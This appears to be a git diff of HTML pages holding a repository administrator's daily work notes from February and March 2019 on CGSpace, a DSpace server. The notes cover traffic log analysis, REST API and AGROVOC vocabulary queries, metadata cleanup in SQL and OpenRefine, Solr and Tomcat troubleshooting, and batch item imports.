  • Otherwise there are still shit loads of IPs from Amazon still hammering the server, though I see HTTP 503 errors now after yesterday’s nginx rate limiting updates +
      +
    • I should really try to script something around ipapi.co to get these quickly and easily
      • +
    +
    • +
  • The top requests in the API logs today are:
    • +
+
# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "19/Feb/2019:" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     42 66.249.66.221
+     44 156.156.81.215
+     55 3.85.54.129
+     76 66.249.66.219
+     87 34.209.213.122
+   1550 34.218.226.147
+   2127 50.116.102.77
+   4684 205.186.128.185
+  11429 45.5.186.2
+  12360 2a01:7e00::f03c:91ff:fe0a:d645
+
    +
  • 2a01:7e00::f03c:91ff:fe0a:d645 is on Linode, and I can see from the XMLUI access logs that it is Drupal, so I assume it is part of the new ILRI website harvester…
    • +
  • Jesus, Linode just sent another alert as we speak that the load on CGSpace (linode18) has been at 450% the last two hours! I’m so fucking sick of this
    • +
  • Our usage stats have exploded the last few months:
    • +
+

Usage stats

+
    +
  • I need to follow up with the DSpace developers and Atmire to see how they classify which requests are bots so we can try to estimate the impact caused by these users and perhaps try to update the list to make the stats more accurate
    • +
  • I found one IP address in Nigeria that has an Android user agent and has requested a bitstream from 10568/96140 almost 200 times:
    • +
+
# grep 41.190.30.105 /var/log/nginx/access.log | grep -c 'acgg_progress_report.pdf'
+185
+
    +
  • Wow, and another IP in Nigeria made a bunch more yesterday from the same user agent:
    • +
+
# grep 41.190.3.229 /var/log/nginx/access.log.1 | grep -c 'acgg_progress_report.pdf'
+346
+
    +
  • In the last two days alone there were 1,000 requests for this PDF, mostly from Nigeria!
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep acgg_progress_report.pdf | grep -v 'upstream response is buffered' | awk '{print $1}' | sort | uniq -c | sort -n
+      1 139.162.146.60
+      1 157.55.39.159
+      1 196.188.127.94
+      1 196.190.127.16
+      1 197.183.33.222
+      1 66.249.66.221
+      2 104.237.146.139
+      2 175.158.209.61
+      2 196.190.63.120
+      2 196.191.127.118
+      2 213.55.99.121
+      2 82.145.223.103
+      3 197.250.96.248
+      4 196.191.127.125
+      4 197.156.77.24
+      5 105.112.75.237
+    185 41.190.30.105
+    346 41.190.3.229
+    503 41.190.31.73
+
    +
  • That is so weird, they are all using this Android user agent:
    • +
+
Mozilla/5.0 (Linux; Android 7.0; TECNO Camon CX Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
+
    +
  • I wrote a quick and dirty Python script called resolve-addresses.py to resolve IP addresses to their owning organization’s name, ASN, and country using the IPAPI.co API
    • +
+

2019-02-20

+
    +
  • Ben Hack was asking about getting authors publications programmatically from CGSpace for the new ILRI website
    • +
  • I told him that they should probably try to use the REST API’s find-by-metadata-field endpoint
    • +
  • The annoying thing is that you have to match the text language attribute of the field exactly, but it does work:
    • +
+
$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "https://cgspace.cgiar.org/rest/items/find-by-metadata-field" -d '{"key": "cg.creator.id","value": "Alan S. Orth: 0000-0002-1735-7458", "language": ""}'
+$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "https://cgspace.cgiar.org/rest/items/find-by-metadata-field" -d '{"key": "cg.creator.id","value": "Alan S. Orth: 0000-0002-1735-7458", "language": null}'
+$ curl -s -H "accept: application/json" -H "Content-Type: application/json" -X POST "https://cgspace.cgiar.org/rest/items/find-by-metadata-field" -d '{"key": "cg.creator.id","value": "Alan S. Orth: 0000-0002-1735-7458", "language": "en_US"}'
+
    +
  • This returns six items for me, which is the same I see in a Discovery search
    • +
  • Hector Tobon from CIAT asked if it was possible to get item statistics from CGSpace so I told him to use my dspace-statistics-api
    • +
  • I was playing with YasGUI to query AGROVOC’s SPARQL endpoint, but they must have a cached version or something because I get an HTTP 404 if I try to go to the endpoint manually
    • +
  • I think I want to stick to the regular web services to validate AGROVOC terms
    • +
+

YasGUI querying AGROVOC

+ +

2019-02-21

+
    +
  • I wrote a script agrovoc-lookup.py to resolve subject terms against the public AGROVOC REST API
    • +
  • It allows specifying the language the term should be queried in as well as output files to save the matched and unmatched terms to
    • +
  • I ran our top 1500 subjects through English, Spanish, and French and saved the matched and unmatched terms to separate files:
    • +
+
$ ./agrovoc-lookup.py -l en -i /tmp/top-1500-subjects.txt -om /tmp/matched-subjects-en.txt -or /tmp/rejected-subjects-en.txt
+$ ./agrovoc-lookup.py -l es -i /tmp/top-1500-subjects.txt -om /tmp/matched-subjects-es.txt -or /tmp/rejected-subjects-es.txt
+$ ./agrovoc-lookup.py -l fr -i /tmp/top-1500-subjects.txt -om /tmp/matched-subjects-fr.txt -or /tmp/rejected-subjects-fr.txt
+
    +
  • Then I generated a list of all the unique matched terms:
    • +
+
$ cat /tmp/matched-subjects-* | sort | uniq > /tmp/2019-02-21-matched-subjects.txt
+
    +
  • And then a list of all the unique unmatched terms using some utility I’ve never heard of before called comm or with diff:
    • +
+
$ sort /tmp/top-1500-subjects.txt > /tmp/subjects-sorted.txt
+$ comm -13 /tmp/2019-02-21-matched-subjects.txt /tmp/subjects-sorted.txt > /tmp/2019-02-21-unmatched-subjects.txt
+$ diff --new-line-format="" --unchanged-line-format="" /tmp/subjects-sorted.txt /tmp/2019-02-21-matched-subjects.txt > /tmp/2019-02-21-unmatched-subjects.txt
+
    +
  • Generate a list of countries and regions from CGSpace for Sisay to look through:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 228 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC) to /tmp/2019-02-21-countries.csv WITH CSV HEADER;
+COPY 202
+dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 227 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC) to /tmp/2019-02-21-regions.csv WITH CSV HEADER;
+COPY 33
+
    +
  • I did a bit more work on the IITA research theme (adding it to Discovery search filters) and it’s almost ready so I created a pull request (#413)
    • +
  • I still need to test the batch tagging of IITA items with themes based on their IITA subjects: +
      +
    • NATURAL RESOURCE MANAGEMENT research theme to items with NATURAL RESOURCE MANAGEMENT subject
      • +
    • BIOTECH & PLANT BREEDING research theme to items with PLANT BREEDING subject
      • +
    • SOCIAL SCIENCE & AGRIBUSINESS research theme to items with AGRIBUSINESS subject
      • +
    • PLANT PRODUCTION & HEALTH research theme to items with PLANT PRODUCTION subject
      • +
    • PLANT PRODUCTION & HEALTH research theme to items with PLANT HEALTH subject
      • +
    • NUTRITION & HUMAN HEALTH research theme to items with NUTRITION subject
      • +
    +
    • +
+

2019-02-22

+
    +
  • +

    Help Udana from WLE with some issues related to CGSpace items on their Publications website

    +
      +
    • He wanted some IWMI items to show up in their publications website
      • +
    • The items were mapped into WLE collections, but still weren’t showing up on the publications website
      • +
    • I told him that he needs to add the cg.identifier.wletheme to the items so that the website indexer finds them
      • +
    • A few days ago he added the metadata to 10568/93011 and now I see that the item is present on the WLE publications website
      • +
    +
    • +
  • +

    Start looking at IITA’s latest round of batch uploads called “IITA_Feb_14” on DSpace Test

    +
      +
    • One mispelled authorship type
      • +
    • A few dozen incorrect inconsistent affiliations (I dumped a list of the top 1500 affiliations and reconciled against it, but it was still a lot of work)
      • +
    • One issue with smart quotes in countries
      • +
    • A few IITA subjects with syntax errors
      • +
    • Some whitespace and consistency issues in sponsorships
      • +
    • Eight items with invalid ISBN: 0-471-98560-3
      • +
    • Two incorrectly formatted ISSNs
      • +
    • Lots of incorrect values in subjects, but that’s a difficult problem to do in an automated way
      • +
    +
    • +
  • +

    I figured out how to query AGROVOC from OpenRefine using Jython by creating a custom text facet:

    +
    • +
+
import json
+import re
+import urllib
+import urllib2
+
+pattern = re.compile('^S[A-Z ]+$')
+if pattern.match(value):
+  url = 'http://agrovoc.uniroma2.it/agrovoc/rest/v1/search?query=' + urllib.quote_plus(value) + '&lang=en'
+  get = urllib2.urlopen(url)
+  data = json.load(get)
+  if len(data['results']) == 1:
+    return "matched"
+
+return "unmatched"
+
+

2019-02-24

+
    +
  • I decided to try to validate the AGROVOC subjects in IITA’s recent batch upload by dumping all their terms, checking them in en/es/fr with agrovoc-lookup.py, then reconciling against the final list using reconcile-csv with OpenRefine
    • +
  • I’m not sure how to deal with terms like “CORN” that are alternative labels (altLabel) in AGROVOC where the preferred label (prefLabel) would be “MAIZE”
    • +
  • For example, a query for CORN* returns:
    • +
+
    "results": [
+        {
+            "altLabel": "corn (maize)",
+            "lang": "en",
+            "prefLabel": "maize",
+            "type": [
+                "skos:Concept"
+            ],
+            "uri": "http://aims.fao.org/aos/agrovoc/c_12332",
+            "vocab": "agrovoc"
+        },
+
    +
  • There are dozens of other entries like “corn (soft wheat)”, “corn (zea)”, “corn bran”, “Cornales”, etc that could potentially match and to determine if they are related programatically is difficult
    • +
  • Shit, and then there are terms like “GENETIC DIVERSITY” that should technically be “genetic diversity (as resource)”
    • +
  • I applied all changes to the IITA Feb 14 batch data except the affiliations and sponsorships because I think I made some mistakes with the copying of reconciled values so I will try to look at those again separately
    • +
  • I went back and re-did the affiliations and sponsorships and then applied them on the IITA Feb 14 collection on DSpace Test
    • +
  • I did a duplicate check of the IITA Feb 14 records on DSpace Test and there were about fifteen or twenty items reported +
      +
    • A few of them are actually in previous IITA batch updates, which means they have been uploaded to CGSpace yet, so I worry that there would be many more
      • +
    • I want to re-synchronize CGSpace to DSpace Test to make sure that the duplicate checking is accurate, but I’m not sure I can because the Earlham guys are still testing COPO actively on DSpace Test
      • +
    +
    • +
+

2019-02-25

+
    +
  • There seems to be something going on with Solr on CGSpace (linode18) because statistics on communities and collections are blank for January and February this year
    • +
  • I see some errors started recently in Solr (yesterday):
    • +
+
$ grep -c ERROR /home/cgspace.cgiar.org/log/solr.log.2019-02-*
+/home/cgspace.cgiar.org/log/solr.log.2019-02-11.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-12.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-13.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-14.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-15.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-16.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-17.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-18.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-19.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-20.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-21.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-22.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-23.xz:0
+/home/cgspace.cgiar.org/log/solr.log.2019-02-24:34
+
    +
  • But I don’t see anything interesting in yesterday’s Solr log…
    • +
  • I see this in the Tomcat 7 logs yesterday:
    • +
+
Feb 25 21:09:29 linode18 tomcat7[1015]: Error while updating
+Feb 25 21:09:29 linode18 tomcat7[1015]: java.lang.UnsupportedOperationException: Multiple update components target the same field:solr_update_time_stamp
+Feb 25 21:09:29 linode18 tomcat7[1015]:         at org.dspace.statistics.SolrLogger$9.visit(SourceFile:1241)
+Feb 25 21:09:29 linode18 tomcat7[1015]:         at org.dspace.statistics.SolrLogger.visitEachStatisticShard(SourceFile:268)
+Feb 25 21:09:29 linode18 tomcat7[1015]:         at org.dspace.statistics.SolrLogger.update(SourceFile:1225)
+Feb 25 21:09:29 linode18 tomcat7[1015]:         at org.dspace.statistics.SolrLogger.update(SourceFile:1220)
+Feb 25 21:09:29 linode18 tomcat7[1015]:         at org.dspace.statistics.StatisticsLoggingConsumer.consume(SourceFile:103)
+...
+
    +
  • In the Solr admin GUI I see we have the following error: “statistics-2011: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher”
    • +
  • I restarted Tomcat and upon startup I see lots of errors in the systemd journal, like:
    • +
+
Feb 25 21:37:49 linode18 tomcat7[28363]: SEVERE: IOException while loading persisted sessions: java.io.StreamCorruptedException: invalid type code: 00
+Feb 25 21:37:49 linode18 tomcat7[28363]: java.io.StreamCorruptedException: invalid type code: 00
+Feb 25 21:37:49 linode18 tomcat7[28363]:         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1601)
+Feb 25 21:37:49 linode18 tomcat7[28363]:         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287)
+Feb 25 21:37:49 linode18 tomcat7[28363]:         at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:561)
+Feb 25 21:37:49 linode18 tomcat7[28363]:         at java.lang.Throwable.readObject(Throwable.java:914)
+Feb 25 21:37:49 linode18 tomcat7[28363]:         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+Feb 25 21:37:49 linode18 tomcat7[28363]:         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+
    +
  • I don’t think that’s related…
    • +
  • Also, now the Solr admin UI says “statistics-2015: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher”
    • +
  • In the Solr log I see:
    • +
+
2019-02-25 21:38:14,246 ERROR org.apache.solr.core.CoreContainer @ Error creating core [statistics-2015]: Error opening new searcher
+org.apache.solr.common.SolrException: Error opening new searcher
+        at org.apache.solr.core.SolrCore.<init>(SolrCore.java:873)
+        at org.apache.solr.core.SolrCore.<init>(SolrCore.java:646)
+...
+Caused by: org.apache.solr.common.SolrException: Error opening new searcher
+        at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1565)
+        at org.apache.solr.core.SolrCore.getSearcher(SolrCore.java:1677)
+        at org.apache.solr.core.SolrCore.<init>(SolrCore.java:845)
+        ... 31 more
+Caused by: org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2015/data/index/write.lock
+        at org.apache.lucene.store.Lock.obtain(Lock.java:89)
+        at org.apache.lucene.index.IndexWriter.<init>(IndexWriter.java:753)
+        at org.apache.solr.update.SolrIndexWriter.<init>(SolrIndexWriter.java:77)
+        at org.apache.solr.update.SolrIndexWriter.create(SolrIndexWriter.java:64)
+        at org.apache.solr.update.DefaultSolrCoreState.createMainIndexWriter(DefaultSolrCoreState.java:279)
+        at org.apache.solr.update.DefaultSolrCoreState.getIndexWriter(DefaultSolrCoreState.java:111)
+        at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1528)
+        ... 33 more
+2019-02-25 21:38:14,250 ERROR org.apache.solr.core.SolrCore @ org.apache.solr.common.SolrException: Error CREATEing SolrCore 'statistics-2015': Unable to create core [statistics-2015] Caused by: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2015/data/index/write.lock
+
    +
  • I tried to shutdown Tomcat and remove the locks:
    • +
+
# systemctl stop tomcat7
+# find /home/cgspace.cgiar.org/solr -iname "*.lock" -delete
+# systemctl start tomcat7
+
    +
  • … but the problem still occurs
    • +
  • I can see that there are still hits being recorded for items (in the Solr admin UI as well as my statistics API), so the main stats core is working at least!
    • +
  • On a hunch I tried adding ulimit -v unlimited to the Tomcat catalina.sh and now Solr starts up with no core errors and I actually have statistics for January and February on some communities, but not others
    • +
  • I wonder if the address space limits that I added via LimitAS=infinity in the systemd service are somehow not working?
    • +
  • I did some tests with calling a shell script from systemd on DSpace Test (linode19) and the LimitAS setting does work, and the infinity setting in systemd does get translated to “unlimited” on the service
    • +
  • I thought it might be open file limit, but it seems we’re nowhere near the current limit of 16384:
    • +
+
# lsof -u dspace | wc -l
+3016
+
    +
  • For what it’s worth I see the same errors about solr_update_time_stamp on DSpace Test (linode19)
    • +
  • Update DSpace Test to Tomcat 7.0.93
    • +
  • Something seems to have happened (some Atmire scheduled task, perhaps the CUA one at 7AM?) on CGSpace because I checked a few communities and collections on CGSpace and there are now statistics for January and February
    • +
+

CGSpace statlets working again

+
    +
  • I still have not figured out what the real cause for the Solr cores to not load was, though
    • +
+

2019-02-26

+
    +
  • I sent a mail to the dspace-tech mailing list about the “solr_update_time_stamp” error
    • +
  • A CCAFS user sent a message saying they got this error when submitting to CGSpace:
    • +
+
Authorization denied for action WORKFLOW_STEP_1 on COLLECTION:1021 by user 3049
+
    +
  • According to the REST API collection 1021 appears to be CCAFS Tools, Maps, Datasets and Models
    • +
  • I looked at the WORKFLOW_STEP_1 (Accept/Reject) and the group is of course empty
    • +
  • As we’ve seen several times recently, we are not using this step so it should simply be deleted
    • +
+

2019-02-27

+
    +
  • Discuss batch uploads with Sisay
    • +
  • He’s trying to upload some CTA records, but it’s not possible to do collection mapping when using the web UI +
      +
    • I sent a mail to the dspace-tech mailing list to ask about the inability to perform mappings when uploading via the XMLUI batch upload
      • +
    +
    • +
  • He asked me to upload the files for him via the command line, but the file he referenced (Thumbnails_feb_2019.zip) doesn’t exist
    • +
  • I noticed that the command line batch import functionality is a bit weird when using zip files because you have to specify the directory where the zip file is location as well as the zip file’s name:
    • +
+
$ ~/dspace/bin/dspace import -a -e aorth@stfu.com -m mapfile -s /home/aorth/Downloads/2019-02-27-test/ -z SimpleArchiveFormat.zip
+
    +
  • Why don’t they just derive the directory from the path to the zip file?
    • +
  • Working on Udana’s Restoring Degraded Landscapes (RDL) WLE records that we originally started in 2018-11 and fixing many of the same problems that I originally did then +
      +
    • I also added a few regions because they are obvious for the countries
      • +
    • Also I added some rights fields that I noticed were easily available from the publications pages
      • +
    • I imported the records into my local environment with a fresh snapshot of the CGSpace database and ran the Atmire duplicate checker against them and it didn’t find any
      • +
    • I uploaded fifty-two records to the Restoring Degraded Landscapes collection on CGSpace
      • +
    +
    • +
+

2019-02-28

+
    +
  • I helped Sisay upload the nineteen CTA records from last week via the command line because they required mappings (which is not possible to do via the batch upload web interface)
    • +
+
$ dspace import -a -e swebshet@stfu.org -s /home/swebshet/Thumbnails_feb_2019 -m 2019-02-28-CTA-Thumbnails.map
+
    +
  • Mails from CGSpace stopped working, looks like ICT changed the password again or we got locked out sigh
    • +
  • Now I’m getting this message when trying to use DSpace’s test-email script:
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: stfu@google.com
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.AuthenticationFailedException
+
+Please see the DSpace documentation for assistance.
+
    +
  • I’ve tried to log in with the last two passwords that ICT reset it to earlier this month, but they are not working
    • +
  • I sent a mail to ILRI ICT to check if we’re locked out or reset the password again
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-03/index.html b/docs/2019-03/index.html new file mode 100644 index 000000000..5a263b4c8 --- /dev/null +++ b/docs/2019-03/index.html @@ -0,0 +1,1262 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2019

+

+ + in + Notes + + +

+
+

2019-03-01

+
    +
  • I checked IITA’s 259 Feb 14 records from last month for duplicates using Atmire’s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good
    • +
  • I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc…
    • +
  • Looking at the other half of Udana’s WLE records from 2018-11 +
      +
    • I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)
      • +
    • I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items
      • +
    • Most worryingly, there are encoding errors in the abstracts for eleven items, for example:
      • +
    • 68.15% � 9.45 instead of 68.15% ± 9.45
      • +
    • 2003�2013 instead of 2003–2013
      • +
    +
    • +
  • I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs
    • +
+

2019-03-03

+
    +
  • Trying to finally upload IITA’s 259 Feb 14 items to CGSpace so I exported them from DSpace Test:
    • +
+
$ mkdir 2019-03-03-IITA-Feb14
+$ dspace export -i 10568/108684 -t COLLECTION -m -n 0 -d 2019-03-03-IITA-Feb14
+
    +
  • As I was inspecting the archive I noticed that there were some problems with the bitsreams: +
      +
    • First, Sisay didn’t include the bitstream descriptions
      • +
    • Second, only five items had bitstreams and I remember in the discussion with IITA that there should have been nine!
      • +
    • I had to refer to the original CSV from January to find the file names, then download and add them to the export contents manually!
      • +
    +
    • +
  • After adding the missing bitstreams and descriptions manually I tested them again locally, then imported them to a temporary collection on CGSpace:
    • +
+
$ dspace import -a -c 10568/99832 -e aorth@stfu.com -m 2019-03-03-IITA-Feb14.map -s /tmp/2019-03-03-IITA-Feb14
+
    +
  • DSpace’s export function doesn’t include the collections for some reason, so you need to import them somewhere first, then export the collection metadata and re-map the items to proper owning collections based on their types using OpenRefine or something
    • +
  • After re-importing to CGSpace to apply the mappings, I deleted the collection on DSpace Test and ran the dspace cleanup script
    • +
  • Merge the IITA research theme changes from last month to the 5_x-prod branch (#413) +
      +
    • I will deploy to CGSpace soon and then think about how to batch tag all IITA’s existing items with this metadata
      • +
    +
    • +
  • Deploy Tomcat 7.0.93 on CGSpace (linode18) after having tested it on DSpace Test (linode19) for a week
    • +
+

2019-03-06

+
    +
  • Abenet was having problems with a CIP user account, I think that the user could not register
    • +
  • I suspect it’s related to the email issue that ICT hasn’t responded about since last week
    • +
  • As I thought, I still cannot send emails from CGSpace:
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: blah@stfu.com
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.AuthenticationFailedException
+
    +
  • I will send a follow-up to ICT to ask them to reset the password
    • +
+

2019-03-07

+
    +
  • ICT reset the email password and I confirmed that it is working now
    • +
  • Generate a controlled vocabulary of 1187 AGROVOC subjects from the top 1500 that I checked last month, dumping the terms themselves using csvcut and then applying XML controlled vocabulary format in vim and then checking with tidy for good measure:
    • +
+
$ csvcut -c name 2019-02-22-subjects.csv > dspace/config/controlled-vocabularies/dc-contributor-author.xml
+$ # apply formatting in XML file
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/dc-subject.xml
+
    +
  • I tested the AGROVOC controlled vocabulary locally and will deploy it on DSpace Test soon so people can see it
    • +
  • Atmire noticed my message about the “solr_update_time_stamp” error on the dspace-tech mailing list and created an issue on their tracker to discuss it with me +
      +
    • They say the error is harmless, but has nevertheless been fixed in their newer module versions
      • +
    +
    • +
+

2019-03-08

+
    +
  • There’s an issue with CGSpace right now where all items are giving a blank page in the XMLUI +
      +
    • Interestingly, if I check an item in the REST API it is also mostly blank: only the title and the ID! On second thought I realize I probably was just seeing the default view without any “expands”
      • +
    • I don’t see anything unusual in the Tomcat logs, though there are thousands of those solr_update_time_stamp errors:
      • +
    +
    • +
+
# journalctl -u tomcat7 | grep -c 'Multiple update components target the same field:solr_update_time_stamp'
+1076
+
    +
  • I restarted Tomcat and it’s OK now…
    • +
  • Skype meeting with Peter and Abenet and Sisay +
      +
    • We want to try to crowd source the correction of invalid AGROVOC terms starting with the ~313 invalid ones from our top 1500
      • +
    • We will share a Google Docs spreadsheet with the partners and ask them to mark the deletions and corrections
      • +
    • Abenet and Alan to spend some time identifying correct DCTERMS fields to move to, with preference over CG Core 2.0 as we want to be globally compliant (use information from SEO crosswalks)
      • +
    • I need to follow up on the privacy page that Sisay worked on
      • +
    • We want to try to migrate the 600 Livestock CRP blog posts to CGSpace, Peter will try to export the XML from WordPress so I can try to parse it with a script
      • +
    +
    • +
+

2019-03-09

+
    +
  • I shared a post on Yammer informing our editors to try to AGROVOC controlled list
    • +
  • The SPDX legal committee had a meeting and discussed the addition of CC-BY-ND-3.0-IGO and other IGO licenses to their list, but it seems unlikely (spdx/license-list-XML/issues/767)
    • +
  • The FireOak report highlights the fact that several CGSpace collections have mixed-content errors due to the use of HTTP links in the Feedburner forms
    • +
  • I see 46 occurrences of these with this query:
    • +
+
dspace=# SELECT text_value FROM metadatavalue WHERE resource_type_id in (3,4) AND (text_value LIKE '%http://feedburner.%' OR text_value LIKE '%http://feeds.feedburner.%');
+
    +
  • I can replace these globally using the following SQL:
    • +
+
dspace=# UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, 'http://feedburner.','https//feedburner.', 'g') WHERE resource_type_id in (3,4) AND text_value LIKE '%http://feedburner.%';
+UPDATE 43
+dspace=# UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, 'http://feeds.feedburner.','https//feeds.feedburner.', 'g') WHERE resource_type_id in (3,4) AND text_value LIKE '%http://feeds.feedburner.%';
+UPDATE 44
+
    +
  • I ran the corrections on CGSpace and DSpace Test
    • +
+

2019-03-10

+
    +
  • Working on tagging IITA’s items with their new research theme (cg.identifier.iitatheme) based on their existing IITA subjects (see notes from 2019-02)
    • +
  • I exported the entire IITA community from CGSpace and then used csvcut to extract only the needed fields:
    • +
+
$ csvcut -c 'id,cg.subject.iita,cg.subject.iita[],cg.subject.iita[en],cg.subject.iita[en_US]' ~/Downloads/10568-68616.csv > /tmp/iita.csv
+
    +
  • +

    After importing to OpenRefine I realized that tagging items based on their subjects is tricky because of the row/record mode of OpenRefine when you split the multi-value cells as well as the fact that some items might need to be tagged twice (thus needing a ||)

    +
    • +
  • +

    I think it might actually be easier to filter by IITA subject, then by IITA theme (if needed), and then do transformations with some conditional values in GREL expressions like:

    +
    • +
+
if(isBlank(value), 'PLANT PRODUCTION & HEALTH', value + '||PLANT PRODUCTION & HEALTH')
+
    +
  • Then it’s more annoying because there are four IITA subject columns…
    • +
  • In total this would add research themes to 1,755 items
    • +
  • I want to double check one last time with Bosede that they would like to do this, because I also see that this will tag a few hundred items from the 1970s and 1980s
    • +
+

2019-03-11

+
    +
  • Bosede said that she would like the IITA research theme tagging only for items since 2015, which would be 256 items
    • +
+

2019-03-12

+
    +
  • I imported the changes to 256 of IITA’s records on CGSpace
    • +
+

2019-03-14

+
    +
  • CGSpace had the same issue with blank items like earlier this month and I restarted Tomcat to fix it
    • +
  • Create a pull request to change Swaziland to Eswatini and Macedonia to North Macedonia (#414) +
      +
    • I see thirty-six items using Swaziland country metadata, and Peter says we should change only those from 2018 and 2019
      • +
    • I think that I could get the resource IDs from SQL and then export them using dspace metadata-export…
      • +
    +
    • +
  • This is a bit ugly, but it works (using the DSpace 5 SQL helper function to resolve ID to handle):
    • +
+
for id in $(psql -U postgres -d dspacetest -h localhost -c "SELECT resource_id FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=228 AND text_value LIKE '%SWAZILAND%'" | grep -oE '[0-9]{3,}'); do
+
+    echo "Getting handle for id: ${id}"
+
+    handle=$(psql -U postgres -d dspacetest -h localhost -c "SELECT ds5_item2itemhandle($id)" | grep -oE '[0-9]{5}/[0-9]+')
+
+    ~/dspace/bin/dspace metadata-export -f /tmp/${id}.csv -i $handle
+
+done
+
    +
  • Then I couldn’t figure out a clever way to join all the CSVs, so I just grepped them to find the IDs with dates from 2018 and 2019 and there are apparently only three:
    • +
+
$ grep -oE '201[89]' /tmp/*.csv | sort -u
+/tmp/94834.csv:2018
+/tmp/95615.csv:2018
+/tmp/96747.csv:2018
+
    +
  • And looking at those items more closely, only one of them has an issue date of after 2018-04, so I will only update that one (as the countrie’s name only changed in 2018-04)
    • +
  • Run all system updates and reboot linode20
    • +
  • Follow up with Felix from Earlham to see if he’s done testing DSpace Test with COPO so I can re-sync the server from CGSpace
    • +
+

2019-03-15

+
    +
  • CGSpace (linode18) has the blank page error again
    • +
  • I’m not sure if it’s related, but I see the following error in DSpace’s log:
    • +
+
2019-03-15 14:09:32,685 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error -
+java.sql.SQLException: Connection org.postgresql.jdbc.PgConnection@55ba10b5 is closed.
+        at org.apache.tomcat.dbcp.dbcp.DelegatingConnection.checkOpen(DelegatingConnection.java:398)
+        at org.apache.tomcat.dbcp.dbcp.DelegatingConnection.prepareStatement(DelegatingConnection.java:279)
+        at org.apache.tomcat.dbcp.dbcp.PoolingDataSource$PoolGuardConnectionWrapper.prepareStatement(PoolingDataSource.java:313)
+        at org.dspace.storage.rdbms.DatabaseManager.queryTable(DatabaseManager.java:220)
+        at org.dspace.authorize.AuthorizeManager.getPolicies(AuthorizeManager.java:612)
+        at org.dspace.content.crosswalk.METSRightsCrosswalk.disseminateElement(METSRightsCrosswalk.java:154)
+        at org.dspace.content.crosswalk.METSRightsCrosswalk.disseminateElement(METSRightsCrosswalk.java:300)
+
    +
  • Interestingly, I see a pattern of these errors increasing, with single and double digit numbers over the past month, but spikes of over 1,000 today, yesterday, and on 2019-03-08, which was exactly the first time we saw this blank page error recently
    • +
+
$ grep -I 'SQL QueryTable Error' dspace.log.2019-0* | awk -F: '{print $1}' | sort | uniq -c | tail -n 25
+      5 dspace.log.2019-02-27
+     11 dspace.log.2019-02-28
+     29 dspace.log.2019-03-01
+     24 dspace.log.2019-03-02
+     41 dspace.log.2019-03-03
+     11 dspace.log.2019-03-04
+      9 dspace.log.2019-03-05
+     15 dspace.log.2019-03-06
+      7 dspace.log.2019-03-07
+      9 dspace.log.2019-03-08
+     22 dspace.log.2019-03-09
+     23 dspace.log.2019-03-10
+     18 dspace.log.2019-03-11
+     13 dspace.log.2019-03-12
+     10 dspace.log.2019-03-13
+     25 dspace.log.2019-03-14
+     12 dspace.log.2019-03-15
+     67 dspace.log.2019-03-16
+     72 dspace.log.2019-03-17
+      8 dspace.log.2019-03-18
